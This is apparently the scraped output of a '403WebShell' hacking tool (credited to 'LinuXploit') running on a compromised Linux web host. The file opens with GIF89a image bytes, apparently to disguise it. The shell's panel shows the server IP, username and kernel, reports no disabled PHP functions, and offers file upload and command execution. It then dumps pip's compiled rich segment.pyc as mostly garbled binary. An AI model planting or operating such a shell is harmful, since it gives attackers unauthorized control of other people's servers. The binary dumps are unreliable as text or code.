GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.155
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python38/lib/python3.8/site-packages/pip/_vendor/rich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python38/lib/python3.8/site-packages/pip/_vendor/rich/__pycache__/segment.cpython-38.pyc
U

ʗRe�^�@s�ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZmZmZmZmZddlmZmZmZmZmZdd	lmZmZdd
lmZer�ddl m!Z!m"Z"m#Z#ed�Z$Gd
d�de�Z%eee%ee%ee&e'ffee%e&e&ffZ(e�Gdd�de��Z)Gdd�d�Z*Gdd�d�Z+e,dk�r�ddl-m!Z!ddl.m/Z/ddl0m1Z1dZ2e1�3d�Z4e!�Z e �5d�e �6d�e �6d�e �6e/e2ddd ��e �6�e �6d!�e7e �8e4��Z9e �6e9�e �6�e �6d"�e �6e4�e �6d#�d$S)%�)�IntEnum)�	lru_cache)�filterfalse)�	getLogger)�
attrgetter)
�
TYPE_CHECKING�Dict�Iterable�List�
NamedTuple�Optional�Sequence�Tuple�Type�Union�)�_is_single_cell_widths�cached_cell_len�cell_len�get_character_cell_size�
set_cell_size)�Result�	rich_repr)�Style)�Console�ConsoleOptions�RenderResult�richc@sPeZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdS)�ControlTypezDNon-printable control codes which typically translate to ANSI codes.r��������	�
���
���N)�__name__�
__module__�__qualname__�__doc__�BELL�CARRIAGE_RETURN�HOME�CLEAR�SHOW_CURSOR�HIDE_CURSOR�ENABLE_ALT_SCREEN�DISABLE_ALT_SCREEN�	CURSOR_UP�CURSOR_DOWN�CURSOR_FORWARD�CURSOR_BACKWARD�CURSOR_MOVE_TO_COLUMN�CURSOR_MOVE_TO�
ERASE_IN_LINE�SET_WINDOW_TITLE�rBrB��/builddir/build/BUILDROOT/alt-python38-pip-22.2.1-2.el8.x86_64/opt/alt/python38/lib/python3.8/site-packages/pip/_vendor/rich/segment.pyr#s"rc@s*eZdZUdZeed<dZeeed<dZ	ee
eed<ee
d�dd��Zed�d	d
�Zed�dd�Zeed�d
d��Zeed�de
edd�dd���Ze
edd�dd�Zedd�dd��ZedEedeeeeedd�dd��ZedFedeedd�dd��Zeedeedd �d!d"��ZedGede
eeeeeedd$�d%d&��ZedHede
eeeedd'�d(d)��Z eede
d*�d+d,��Z!eeedee
e
fd-�d.d/��Z"edIeede
ee
eeeeedd0�d1d2��Z#edJe$deede
e
eeeedd3�d4d5��Z%edKe$deede
e
eeeedd3�d6d7��Z&edLe$deede
e
eeeedd3�d8d9��Z'eededd �d:d;��Z(eededd �d<d=��Z)eededd �d>d?��Z*eededd �d@dA��Z+eedee
eeddB�dCdD��Z,dS)M�Segmenta�A piece of text with associated style. Segments are produced by the Console render process and
    are ultimately converted in to strings to be written to the terminal.

    Args:
        text (str): A piece of text.
        style (:class:`~rich.style.Style`, optional): An optional style to apply to the text.
        control (Tuple[ControlCode], optional): Optional sequence of control codes.

    Attributes:
        cell_length (int): The cell length of this Segment.
    �textN�style�control)�returncCs|\}}}|rdSt|�S)zzThe number of terminal cells required to display self.text.

        Returns:
            int: A number of cells.
        r)r)�selfrE�_stylerGrBrBrC�cell_lengthQs
zSegment.cell_lengthccs:|jV|jdkr&|jdk	r6|jVn|jV|jVdS�N)rErGrF�rIrBrBrC�
__rich_repr__[s


zSegment.__rich_repr__cCs
t|j�S)z#Check if the segment contains text.)�boolrErMrBrBrC�__bool__dszSegment.__bool__cCs
|jdk	S)z,Check if the segment contains control codes.N)rGrMrBrBrC�
is_controlhszSegment.is_controli@)rDrD)�segment�cutrHc
Cs(|\}}}t}|j}||kr,||d||�fSt}t||t|��}	|d|	�}
t|
�}||kr�||
||�|||	d�||�fS|	t|�k�r||	}|	d7}	|||�7}|d|	�}
||kr�||
||�|||	d�||�fS||kr�||
d|	d�d||�|d||	d�||�fSq�td��dS)N�r� zWill never reach here)rDrKr�int�lenr�AssertionError)
�clsrRrSrErFrG�_SegmentrK�	cell_size�pos�before�cell_pos�charrBrBrC�_split_cellsms6

�
��zSegment._split_cells)rSrHcCsb|\}}}t|�rV|t|�kr.|td||�fSt|d|�||�t||d�||�fS|�||�S)a0Split segment in to two segments at the specified column.

        If the cut point falls in the middle of a 2-cell wide character then it is replaced
        by two spaces, to preserve the display width of the parent segment.

        Returns:
            Tuple[Segment, Segment]: Two segments.
        rTN)rrWrDr`)rIrSrErFrGrBrBrC�split_cells�s	
�zSegment.split_cellscCs|d�S)zMake a new line segment.�
rB)rYrBrBrC�line�szSegment.line)�segmentsrF�
post_stylerHcs>|}|r"|j���fdd�|D�}�r:��fdd�|D�}|S)aApply style(s) to an iterable of segments.

        Returns an iterable of segments where the style is replaced by ``style + segment.style + post_style``.

        Args:
            segments (Iterable[Segment]): Segments to process.
            style (Style, optional): Base style. Defaults to None.
            post_style (Style, optional): Style to apply on top of segment style. Defaults to None.

        Returns:
            Iterable[Segments]: A new iterable of segments (possibly the same iterable).
        c3s,|]$\}}}�||rdn�|�|�VqdSrLrB��.0rErJrG)�applyrYrBrC�	<genexpr>�s�z&Segment.apply_style.<locals>.<genexpr>c3s4|],\}}}�||rdn|r$|�n�|�VqdSrLrBrf)rYrerBrCri�s
���)�__add__)rYrdrFre�result_segmentsrB)rhrYrerC�apply_style�s�
�zSegment.apply_styleF)rdrQrHcCs$|rttd�|�Sttd�|�SdS)a2Filter segments by ``is_control`` attribute.

        Args:
            segments (Iterable[Segment]): An iterable of Segment instances.
            is_control (bool, optional): is_control flag to match in search.

        Returns:
            Iterable[Segment]: And iterable of Segment instances.

        rGN)�filterrr)rYrdrQrBrBrC�filter_control�szSegment.filter_control)rdrHc
cs�g}|j}|D]d}d|jkrj|jsj|\}}}|rr|�d�\}}	}|rR||||��|	r,|Vg}|j}q,q||�q|r~|VdS)aSplit a sequence of segments in to a list of lines.

        Args:
            segments (Iterable[Segment]): Segments potentially containing line feeds.

        Yields:
            Iterable[List[Segment]]: Iterable of segment lists, one per line.
        rbN)�appendrErG�	partition)
rYrdrcrorRrErF�_�_text�new_linerBrBrC�split_lines�s 



zSegment.split_linesT)rd�lengthrF�pad�include_new_linesrHccs�g}|j}|j}|d�}	|D]�}
d|
jkr�|
js�|
\}}}
|r�|�d�\}}}|r`||||��|r:|||||d�}|r�|�|	�|V|dd�=q:q||
�q|r�|||||d�VdS)a�Split segments in to lines, and crop lines greater than a given length.

        Args:
            segments (Iterable[Segment]): An iterable of segments, probably
                generated from console.render.
            length (int): Desired line length.
            style (Style, optional): Style to use for any padding.
            pad (bool): Enable padding of lines that are less than `length`.

        Returns:
            Iterable[List[Segment]]: An iterable of lines of segments.
        rb)rFrvN)ro�adjust_line_lengthrErGrp)rYrdrurFrvrwrcrorx�new_line_segmentrRrE�
segment_stylerqrrrs�cropped_linerBrBrC�split_and_crop_lines	s2
�

zSegment.split_and_crop_lines)rcrurFrvrHc
Cs�tdd�|D��}||krF|r8||d|||�g}q�|dd�}n�||kr�g}|j}d}|D]X}|j}	||	|ks||jr�||�||	7}q`|\}
}}t|
||�}
|||
|��q�q`n|dd�}|S)aAdjust a line to a given width (cropping or padding as required).

        Args:
            segments (Iterable[Segment]): A list of segments in a single line.
            length (int): The desired width of the line.
            style (Style, optional): The style of padding if used (space on the end). Defaults to None.
            pad (bool, optional): Pad lines with spaces if they are shorter than `length`. Defaults to True.

        Returns:
            List[Segment]: A line of segments with the desired length.
        css|]}|jVqdSrL)rK�rgrRrBrBrCriKsz-Segment.adjust_line_length.<locals>.<genexpr>rUNr)�sumrorKrGr)
rYrcrurFrv�line_lengthrsrorR�segment_lengthrErzrqrBrBrCrx8s(

zSegment.adjust_line_length)rcrHcst�t�fdd�|D��S)z�Get the length of list of segments.

        Args:
            line (List[Segment]): A line encoded as a list of Segments (assumes no '\\n' characters),

        Returns:
            int: The length of the line.
        c3s|]}�|j�VqdSrL)rEr}��	_cell_lenrBrCripsz*Segment.get_line_length.<locals>.<genexpr>)rr~)rYrcrBr�rC�get_line_lengthes
zSegment.get_line_length)�linesrHcs0|j�|r t�fdd�|D��nd}|t|�fS)z�Get the shape (enclosing rectangle) of a list of lines.

        Args:
            lines (List[List[Segment]]): A list of lines (no '\\n' characters).

        Returns:
            Tuple[int, int]: Width and height in characters.
        c3s|]}�|�VqdSrLrB�rgrc�r�rBrCri}sz$Segment.get_shape.<locals>.<genexpr>r)r��maxrW)rYr��	max_widthrBr�rC�	get_shapers
zSegment.get_shape)r��width�heightrF�	new_linesrHc	s�|p
t|�}|r$|d�d��gn|d���g}|j�|d|�}���fdd�|D�|dd�<t|�|kr�|�|g|t|��|S)a�Set the shape of a list of lines (enclosing rectangle).

        Args:
            lines (List[List[Segment]]): A list of lines.
            width (int): Desired width.
            height (int, optional): Desired height or None for no change.
            style (Style, optional): Style of any padding added.
            new_lines (bool, optional): Padded lines should include "
". Defaults to False.

        Returns:
            List[List[Segment]]: New list of lines.
        rUrbNcsg|]}�|��d��qS))rFrBr��rxrFr�rBrC�
<listcomp>�sz%Segment.set_shape.<locals>.<listcomp>)rWrx�extend)	rYr�r�r�rFr��_height�blank�shaped_linesrBr�rC�	set_shape�s&��zSegment.set_shape)rYr�r�r�rFr�rHcCs`|t|�}|s|dd�S|d|�}|r>|d|d|�n|d||�}||gg|}|S)a�Aligns lines to top (adds extra lines to bottom as required).

        Args:
            lines (List[List[Segment]]): A list of lines.
            width (int): Desired width.
            height (int, optional): Desired height or None for no change.
            style (Style): Style of any padding added.
            new_lines (bool, optional): Padded lines should include "
". Defaults to False.

        Returns:
            List[List[Segment]]: New list of lines.
        NrUrb�rW�rYr�r�r�rFr��extra_linesr�rBrBrC�	align_top�s$zSegment.align_topcCs`|t|�}|s|dd�S|d|�}|r>|d|d|�n|d||�}|gg||}|S)a�Aligns render to bottom (adds extra lines above as required).

        Args:
            lines (List[List[Segment]]): A list of lines.
            width (int): Desired width.
            height (int, optional): Desired height or None for no change.
            style (Style): Style of any padding added. Defaults to None.
            new_lines (bool, optional): Padded lines should include "
". Defaults to False.

        Returns:
            List[List[Segment]]: New list of lines.
        NrUrbr�r�rBrBrC�align_bottom�s$zSegment.align_bottomc
Cs||t|�}|s|dd�S|d|�}|r>|d|d|�n|d||�}|d}||}	|gg|||gg|	}|S)a�Aligns lines to middle (adds extra lines to above and below as required).

        Args:
            lines (List[List[Segment]]): A list of lines.
            width (int): Desired width.
            height (int, optional): Desired height or None for no change.
            style (Style): Style of any padding added.
            new_lines (bool, optional): Padded lines should include "
". Defaults to False.

        Returns:
            List[List[Segment]]: New list of lines.
        NrUrbrr�)
rYr�r�r�rFr�r�r��	top_lines�bottom_linesrBrBrC�align_middle�s$zSegment.align_middleccsvt|�}zt|�}Wntk
r*YdSXt}|D]6}|j|jkr`|js`||j|j|j�}q4|V|}q4|VdS)a)Simplify an iterable of segments by combining contiguous segments with the same style.

        Args:
            segments (Iterable[Segment]): An iterable of segments.

        Returns:
            Iterable[Segment]: A possibly smaller iterable of segments that will render the same way.
        N)�iter�next�
StopIterationrDrFrGrE)rYrd�
iter_segments�last_segmentrZrRrBrBrC�simplify�s

�zSegment.simplifyccsJ|D]@}|js|jdkr |Vq|\}}}|||r<|�d�nd�VqdS)z�Remove all links from an iterable of styles.

        Args:
            segments (Iterable[Segment]): An iterable segments.

        Yields:
            Segment: Segments with link removed.
        N)rGrF�update_link)rYrdrRrErF�_controlrBrBrC�strip_linkss


zSegment.strip_linksccs"|D]\}}}||d|�VqdS)z�Remove all styles from an iterable of segments.

        Args:
            segments (Iterable[Segment]): An iterable segments.

        Yields:
            Segment: Segments with styles replace with None
        NrB)rYrdrErJrGrBrBrC�strip_styles)s
zSegment.strip_stylesccsZi}|D]L\}}}|rF|�|�}|dkr6|j}|||<||||�Vq||d|�VqdS)z�Remove all color from an iterable of segments.

        Args:
            segments (Iterable[Segment]): An iterable segments.

        Yields:
            Segment: Segments with colorless style.
        N)�get�
without_color)rYrd�cacherErFrG�colorless_stylerBrBrC�remove_color6s
zSegment.remove_color)rd�cutsrHccsDg}|j}t|�}t|d�}|dkr(gS|dkr2q:gVqd}|j}|j}	t}
|D]�}|\}}
}|rR|rl|n
||
|�}||kr�||�|}qR||kr�||�|	�V|�|}t|d�}|dkr�|r�|	�VdSqRn6|�||�\}}|\}}
}||�|	�V|�|}t|d�}|dkr`|�r.|	�VdSq`qR|	�VdS)z�Divides an iterable of segments in to portions.

        Args:
            cuts (Iterable[int]): Cell positions where to divide.

        Yields:
            [Iterable[List[Segment]]]: An iterable of Segments in List.
        ���rN)ror�r��clear�copyrra)rYrdr��split_segments�add_segment�	iter_cutsrSr\�segments_clear�
segments_copyr�rRrErJrG�end_posr]rBrBrC�divideLsX





zSegment.divide)NN)F)NTT)NT)NNF)F)F)F)-r.r/r0r1�str�__annotations__rFrrrGr
�ControlCode�propertyrVrKrrNrOrPrQ�classmethodrrr`rarcr	rlrnr
rtr|rxr�r�r�rr�r�r�r�r�r�r�r�rBrBrBrCrD?s�
		&��(���
�.��,"
�

�#�

��

��

�
�rDc@s:eZdZdZd
eeedd�dd�Zddd	d
�dd�ZdS)�Segmentsa=A simple renderable to render an iterable of segments. This class may be useful if
    you want to print segments outside of a __rich_console__ method.

    Args:
        segments (Iterable[Segment]): An iterable of segments.
        new_lines (bool, optional): Add new lines between segments. Defaults to False.
    FN)rdr�rHcCst|�|_||_dSrL)�listrdr�)rIrdr�rBrBrC�__init__�s
zSegments.__init__rrr��console�optionsrHccs8|jr(t��}|jD]}|V|Vqn|jEdHdSrL)r�rDrcrd)rIr�r�rcrRrBrBrC�__rich_console__�s

zSegments.__rich_console__)F)	r.r/r0r1r	rDrOr�r�rBrBrBrCr��s�r�c@s:eZdZdeeeedd�dd�Zdddd	�d
d�ZdS)
�SegmentLinesFN)r�r�rHcCst|�|_||_dS)a=A simple renderable containing a number of lines of segments. May be used as an intermediate
        in rendering process.

        Args:
            lines (Iterable[List[Segment]]): Lists of segments forming lines.
            new_lines (bool, optional): Insert new lines after each line. Defaults to False.
        N)r�r�r�)rIr�r�rBrBrCr��s
zSegmentLines.__init__rrrr�ccsF|jr,t��}|jD]}|EdH|Vqn|jD]}|EdHq2dSrL)r�rDrcr�)rIr�r�rsrcrBrBrCr��s



zSegmentLines.__rich_console__)F)	r.r/r0r	r
rDrOr�r�rBrBrBrCr��s
�r��__main__)r)�Syntax)�Textz�from rich.console import Console
console = Console()
text = Text.from_markup("Hello, [bold magenta]World[/]!")
console.print(text)zHello, [bold magenta]World[/]!zrich.Segmentz]A Segment is the last step in the Rich render process before generating text with ANSI codes.z
Consider the following code:
�pythonT)�line_numberszVWhen you call [b]print()[/b], Rich [i]renders[/i] the object in to the the following:
zAThe Segments are then processed to produce the following output:
zS
You will only need to know this if you are implementing your own Rich renderables.N):�enumr�	functoolsr�	itertoolsr�loggingr�operatorr�typingrrr	r
rrr
rrr�cellsrrrrr�reprrrrFrr�rrr�logrrVr�r�rDr�r�r.�pip._vendor.rich.consoleZpip._vendor.rich.syntaxr��pip._vendor.rich.textr��code�from_markuprE�rule�printr��render�	fragmentsrBrBrBrC�<module>sf0
��V


�
�


�

Youez - 2016 - github.com/yon3zu
LinuXploit